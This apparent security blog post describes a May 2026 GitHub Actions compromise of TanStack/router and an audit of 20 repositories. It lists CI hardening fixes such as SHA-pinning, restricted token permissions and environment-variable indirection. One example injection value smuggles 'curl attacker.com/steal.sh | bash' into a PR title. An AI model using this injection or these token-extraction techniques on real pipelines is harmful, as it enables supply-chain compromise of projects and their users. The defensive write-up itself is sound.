CopilotKit raises Series ASeries A, read the announcementannounced In May 2026, the TanStack/router repository was compromised through its GitHub Actions CI pipeline. An attacker submitted a fork pull request that poisoned the Actions cache, extracted OIDC tokens from the CI environment, and used those tokens to publish 84 malicious packages to npm. Every downstream project that ran npm install in the hours before detection pulled attacker-controlled code. The attack exploited no zero-days. Every vulnerability in the chain - cache collision between fork and upstream PRs, overly broad token permissions, build and publish running in the same job -- was a known risk that the repository had simply never addressed. The attacker read the workflow files, identified the gaps, and walked through them. The problem is pervasive in a profound way, and most people & organizations don’t realize they are wide open to subversion and attack. We audited 20 repositories across two GitHub organizations the following day. Here is what we found and how we fixed it. We categorized findings into eight areas. Every repository had at least three. Most had five or more. Nearly every repository referenced actions by tag:uses: actions/checkout@v4. Tags are mutable Git references. If an attacker compromises a maintainer's account on any action you use, they can move the tag to point at malicious code. Your next CI run executes it. SHA-pinning references an immutable commit. Even a compromised maintainer cannot alter it after the fact. Vulnerable:uses: actions/checkout@v4 Hardened:uses: actions/checkout@abc123def456... # v4.1.7 This includes first-partyactions/*references, which most teams assume are safe. They are maintained by GitHub, but they are still mutable tags on public repositories. Pin them. GitHub Actions grants GITHUB_TOKEN with broad default permissions unless you explicitly restrict them. A workflow with nopermissions:block gets read-write access to contents, packages, pull requests, issues, and more. If any step in that workflow is compromised, the attacker inherits all of those permissions. Vulnerable:nopermissions:block (inherits full read-write) Hardened:top-levelpermissions: contents: read, then per-jobpermissions: packages: writeonly where needed Anyrun:block that interpolates attacker-controllable values using${{ }}syntax is a shell injection vector. A PR titled"; curl attacker.com/steal.sh | bash; echo "executes arbitrary commands in your CI runner. The same applies togithub.event.pull_request.body, branch names, commit messages -- anything an external contributor controls. The fix is environment variable indirection: setenv: PR_TITLE: ${{ github.event.pull_request.title }}at the step level, then reference$PR_TITLEin the shell. Environment variables are not interpreted by the shell as code. Whenactions/checkoutruns withoutpersist-credentials: false, it configures the GITHUB_TOKEN into the Git credential helper for the entire job duration. Every subsequent step -- including npm install, pip install, or any downloaded binary -- can read that token from Git config. This is the finding that surprised us most. The default behavior of the most commonly used GitHub Action silently exposes credentials to every tool your build runs. Thepull_request_targettrigger runs with the base branch's secrets and permissions but can be tricked into checking out fork code. If your workflow usespull_request_targetand then checks out the PR head ref, you have given a fork contributor access to your repository secrets. None of our 20 repositories had automated security scanning of workflow files. Zizmor, an open-source GitHub Actions static analyzer built by Trail of Bits, catches all of the above findings and more. It was not running anywhere.